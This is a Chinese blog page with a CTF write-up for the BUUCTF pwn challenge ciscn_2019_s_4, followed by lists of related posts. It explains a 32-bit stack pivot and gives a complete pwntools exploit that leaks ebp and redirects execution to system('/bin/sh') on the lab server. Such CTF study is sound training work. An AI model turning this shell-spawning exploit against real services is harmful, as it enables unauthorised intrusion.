【pwn】 ciscn_2019_s_4

[BUUCTF]PWN——ciscn_2019_s_4 ciscn_2019_s_4 附件 步骤: 例行检查,32位程序,开启了nx保护 本地试运行一下,看看大概的情况,两次输入,让人联想到栈迁移 32位ida载入,找到关键函数,只可以溢出8字节,没法构造太长的rop, 程序最后是用leave和retn还原现场的,首先想到的就是栈迁移 leave实质 上是move esp,ebp和pop ebp,将栈底地址赋给栈顶,然后在重新设置栈底地址,我的理解是重新开栈 retn实质上是pop rip,设置下一条执行指令的地址 利用思路 利用第一个输入点来泄露e 阅读详情

main函数,存在八个字节溢出,栈迁移,第一次泄露ebp,得到栈上buf地址,迁移到buf即可。

from pwn import *

io=remote('node3.buuoj.cn',28060)

leave=0x8048562
sys_plt=0x8048400

pl1='a'*0x24+'bbbb'
io.send(pl1)
io.recvuntil('bbbb')
ebp=u32(io.recv(4))
print(hex(ebp))
buf=ebp-56

pl2=('aaaa'+p32(sys_plt)+'bbbb'+p32(buf+16)+'/bin/sh\x00').ljust(0x28,'a')+p32(buf)+p32(leave)
io.send(pl2)

io.interactive()
buuctf刷题记录(一) vn_pwn_warmup 开了nx和pie 这里给了puts的地址,可以得到libc的基地址 只有这里有个溢出点能溢出0x10个字节 原本的想法是直接用one_gadget来获得shell 但是一直都打不通,由于开了pie也没法本地调试 后来看了大佬的题解,才知道这个题禁用了execve。现在也不知道从哪里看出来的。 对于这种禁用execve或者没法使用system直接getshell的题。 我们可以使用orw来做。 可以把paylaod写到这里 然后在跳到这里执行 但是这个题没法用题目文件里的r 阅读详情

相关推荐

[BUUCTF]PWN21——ciscn_2019_s_3

[BUUCTF]PWN21——ciscn_2019_s_3 附件 步骤 例行检查,64位,开启了NX保护 试运行的时候回显是一些乱码,直接用ida打开,从main函数开始看 main函数调用了vuln函数 __asm 关键字用于调用内联汇编程序,并且可在 C 或 C++ 语句合法时出现。 我们首先要了解一下64位系统的系统调用 传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器 调用号:sys_read 的调用号 为 0 ;

mcmuyanga的博客 2369

ciscn_2019_s_4-栈迁移

思路:由于无直接getshell的利用函数,溢出空间只有8字节(ebp+ret占用无法继续填充ROP了),所以需要栈迁移更大的空间来构造ROP。栈迁移位置:执行函数+0xdeadbeef(假ebp)+0xdeadbeef(假ret)+参数。此栈帧迁移到s[40]数组的位置,先通过第一次打印泄露s[40]的起始地址。栈迁移核心(通过ROPGadget寻找。ebp位置:栈迁移位置-4(32位)ret位置:leave_ret。题目类型猜测:栈溢出,栈迁移。作用:赋值执行函数调用。

个人笔记 876

BUUCTF pwn ciscn_2019_s_3(SROP)

0x01 文件分析   0x02 运行  有一个回显,并且还有多余的字符显示,接着看代码分析一下。   0x03 IDA源码  由后面的函数可以看出,这个程序使用的系统调用,并且vuln里面存在栈溢出。  在程序之中的gadgets存在着两个为rax赋值的gadget,15的系统号是rt_sigreturn,3b的系统调用是execve,利用这两个可以执行系统调用得到shell。  ex...

菜的只能随便写写博客 1791

栈迁移图解

栈迁移 场景 1 如果程序的保护措施canary开启,会在prev ebp栈空间的下一个低地址存放一个随机值,当我们溢出时会将这个随机值覆盖,程序检测到这个随机值发生变化以后会自动退出(崩溃),此时就无法进行栈溢出攻击,所以需要另寻出路。 2 栈溢出长度不足以使用直接 ROP 3 栈溢出 payload 会出现空字符截断,且gadget地址含有空字符 4 在泄露地址信息后需要新的 ROP payload 5 如果开启了栈不可执行保护,就需要栈迁移到bss段或者data段或者其他栈位置执行我们的gadge

qq_40410406的博客 1879

[BUUCTF]PWN——ciscn_2019_es_7[详解]

ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想到了SROP,之前遇到过一次,关于原理可以看一下这两篇文章 https://www.freebuf.com/articles/network/87447.html https://ctf-wiki.org/pwn/linux/stackoverflow/advanced-rop/srop/?h=+sr

mcmuyanga的博客 2180

CISCN初赛wp misc,re,pwn,web,crypto

CISCN初赛wp misc,re,pwn,web,crypto

fivesheeptree的博客 1818

【Pwn】BUUCTF ciscn_2019_s_4 wp 栈迁移

个人日记= =,记录pwn自己的自闭过程

Lcw_linyx的博客 783

mqtt 协议pwn入门(ciscn2025 final mqtt)

摘要:本文记录了作者参加CISCN2025国赛MQTT题目的解题历程。题目涉及MQTT协议交互,存在命令注入漏洞。文章详细介绍了MQTT协议原理、环境搭建方法,分析了题目中的鉴权绕过和条件竞争漏洞利用思路,并分享了Python编写的EXP脚本。作者通过本地调试复盘了比赛过程,总结了当前CTF比赛中PWN题向协议交互方向发展的趋势,也反思了比赛中的失误。文章提供了完整的解题思路和技术细节,对理解MQTT协议相关安全问题和CTF解题具有参考价值。

2503_90751789的博客 961

ciscn_2019_s_4

ciscn_2019_s_4 查看保护 有栈溢出啊,但是空间太小了,所以需要栈迁移一下。 栈迁移用leave ret这个gadget来让ebp, esp放到我们需要的地方 这里把栈迁移到s这里。所以得知道s的地址。这个时候需要借助printf打印来打印出地址。 有了ebp,s就-0x38。有system没有/bin/sh,所以将/bin/sh写进s里然后借助leave ret这个gadget让程序执行system(’/bin/sh’)即可。 from pwn import * context(ar

z1r0的博客 446

[BUUCTF]PWN——ciscn_2019_final_2

ciscn_2019_final_2 附件 步骤 例行检查,64位程序,保护全开 本地没有flag文件,远程连接一下,经典的堆题的菜单 64位ida载入 init() allocate(),只可以申请0x20或者0x10的chunk delete() show(),show只能调用3次 bye_bye 这道题的关键点在于文件流的知识 dup2 用来复制文件描述符:int dup2 (int oldfd,int newfd) _fileno 是用来规定 fd 所指向的文件流的,i

mcmuyanga的博客 1446

【NTN 卫星通信】使用地面网络和卫星网络接入的终端应用场景

卫星接入有广覆盖的特点, 可以改善地面接入网覆盖或无线条件差的地区(例如多径干扰)的服务可用性。对于高速移动中需要实时业务的终端,如IMS语音/视频会议,可以通过地面接入和卫星接入同时实现与5G系统的双连接,在地面接入网不可用的情况下获得连续可靠的业务。

weixin_43603524的博客 2558

[BUUCTF-pwn]——ciscn_2019_s_4

[BUUCTF-pwn]——ciscn_2019_s_4 题目地址:https://buuoj.cn/challenges#ciscn_2019_s_4 这道题是一道典型的栈劫持问题 前面有一道类似的,(挂了peak小知识), 如果需要可以去做一下 没有开启canary保护 在IDA中, 可以看出有明显的栈溢出, 不过溢出空间只够修改ebp和一个返回地址 但是, 仅仅一个返回地址是不够的, 并不能打印flag 思路 利用栈溢出,首先泄露出来main_ebp的地址 计算一下,我们输入的位置, 距离m

Y_peak的博客 672

用STM32手搓一个体温计

市面上大多额温计、测温计精度。

m0_61687959的博客 2375

buuctf ciscn_2019_s_4 pwn wp

buuctf ciscn_2019_s_4 pwn wp https://www.jianshu.com/p/fabc34bafe18

weixin_44740530的博客 479

CentOS 7下glibc升级到2.28的保姆级避坑指南(含GCC 7.3.1编译配置)

本文详细介绍了在CentOS 7系统中将glibc升级到2.28版本的完整流程,包括GCC 7.3.1的编译配置、环境变量设置、glibc编译的细节处理以及生产环境验证。文章特别强调了风险控制和避坑技巧,适用于需要提升系统兼容性的企业级用户。

weixin_29611239的博客 408

OpenClaw 多机器人多 Agent 模式:打造你的 AI 助手团队

OpenClaw多Agent模式为企业提供高效的AI助手团队解决方案。通过创建4个独立的飞书机器人(主助理、内容创作、技术开发、AI资讯),每个连接专属Gateway和Agent模型(如Claude Opus/Sonnet、Gemini 2.5),实现专业分工。相比单Agent模式,多Gateway架构具有配置清晰、互不干扰、无需手动切换等优势。系统采用Profile隔离机制,各Agent拥有独立配置和端口。部署过程包括创建机器人应用、配置Agent、运行自动化脚本等步骤,支持私聊或群组@使用。日常提供状态

Maynor的博客 5099

【pwn】ciscn_2019_s_3

这题是全国大学生信息安全竞赛的一道线下半决赛题目,好像是华南赛区? 例行检查。 分析程序。 vul函数 两个系统调用,一个是sys_read,一个是sys_write,往栈上写数据(0x400),从栈上读数据(0x30),存在栈溢出。 还有一个gadget函数。 有两个值得注意的地方。mov rax,0fh 以及mov rax 59。这两个gadget控制了rax的值,看看这两个是什么系统调用...

Nothing 4976

Qt5+Ros+GUI界面

在之前建立的工程的基础上添加一个gui界面。 在ros包中新建一个文件夹,名字叫gui 右击gui文件夹添加一个文件,选择Qt->Qt设计师界面类 选择MainWindow 选择下一步 最后在gui中生成三个文件 mainwindow.cpp、mainwindow.h、mainwindow.ui 但此时,这些新创建的文件和原本的ros工程还没建立任何关系,只是目录下多出了几个文件而已...

二毛的博客 8843

CISCN 2024 华北赛区半决赛 PWN类全题解

这次是我第一次参加线下赛,有点紧张。由于对赛制规则的不了解,导致我patch晚了,丢了很多分,不过取得了14名还是不错的。比赛中pwn类攻了两题,防了三题,vm这题卡在了一个加密函数上,赛后才想明白怎么解,实在是可惜。

qq_44640531的博客 2161

uniapp - 详解使用高德地图在地图上实现绘制边界/点聚合/行政区域高亮等功能,Uniapp高德地图点聚合标记及绘制点线面示例代码(全端兼容H5网页、小程序、安卓app、苹果app、nvue)

uni-app,h5移动端网页,微信小程序,支付宝小程序,Android安卓,苹果ios,app,nvue,高德地图,uniAPP高德地图实现点聚合,地图区域描边、点标记、点信息详情弹窗,实现绘制边界区域,uniapp H5使用高德地图实现点聚合、行政区域高亮,实现高德地图的marker聚合功能,高德地图进行marker标点,点信息展示,点击标记点弹出对话框,点击聚合点后显示信息模态框,打标点,【Uniapp】高德地图的接入自定义标点与信息窗体使用,绘制行政区域边界,绘制多边形,电子围栏,高德行政区划边界,

✅ 精选推荐文章 1万+

14 | TensorFlow2对阿拉伯语手写字符数据集进行识别

该数据集由 60 名参与者书写的16,800 个字符组成,年龄范围在 19 至 40 岁之间,90% 的参与者是右手。每个参与者在两种形式上写下每个字符(从“alef”到“yeh”)十次,如图 7(a)和 7(b)所示。表格以 300 dpi 的分辨率扫描。使用 Matlab 2016a 自动分割每个块以确定每个块的坐标。该数据库分为两组:训练集(每类 13,440 个字符到 480 个图像)和测试集(每类 3,360 个字符到 120 个图像)。数据标签为1到28个类别。

微信号:RunsenLiu 2876

[PWN] BUUCTF ciscn_2019_es_2

[PWN] BUUCTF ciscn_2019_es_2解题分析漏洞利用payload解析程序执行过程图参考: 解题分析 按照惯例checksec一下,开了NX与RELRO 运行程序,查看逻辑,两次input,并且回显Hello,input 32位IDA打开,查看关键函数vul(),发现两次read往s里写内容,read可写0x30个字节,但s的缓冲区只有0x28个字节,所以这里存在着栈溢出,若有backdoor直接获得flag的话,可直接构造 payload=0x28*‘a’+ebp+backdoo

空城惜梦的博客 1718

Python 爬虫实战:爬取哔哩哔哩知识区,抓取高赞课程信息

哔哩哔哩(Bilibili)是一个广受欢迎的综合性视频社区,其中的知识区汇聚了大量优质的教育、科普、技术等课程内容。本文将指导读者如何使用 Python 爬虫技术从哔哩哔哩知识区抓取高赞课程信息,并进行数据分析。本文深入探究了利用 Python 爬虫技术从哔哩哔哩知识区抓取高赞课程信息的全流程。从前期的环境搭建、模拟登录,到核心的课程数据抓取、存储,再到后续的数据分析与可视化,都详细展开讲解并提供代码支持。通过此方法所获取的数据,能够助力创作者优化内容、用户发现优质课程、平台洞察用户需求。

u014481728的博客 1136

2022 CISCN 初赛pwn完整wp

2022 CISCN 初赛pwn的完整wp

weixin_46483787的博客 2618

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

[BUUCTF]PWN——ciscn_2019_n_3

ciscn_2019_n_3 附件 步骤 例行检查,32位,开启了nx和canary保护 本地试运行一下,经典的堆题的菜单 3.32位ida载入 new(),申请了两个chunk,第一个chunk(13行)固定大小0xC,存放的是rec_int_print和rec_int_free函数的地址,第二个chunk(32行),是我们申请的chunk del() 如果值是整数,直接 free chunk 如果值是字符串,则 chunk 和存储字符串的 chunk 都要 free。注意这里只是进行了

mcmuyanga的博客 1286

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

上一篇: 【pwn】 roarctf_2019_realloc_magic
下一篇: 【pwn】 hitcontrain_bamboobox && ZJCTF_19_EasyHeap
评论 3
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值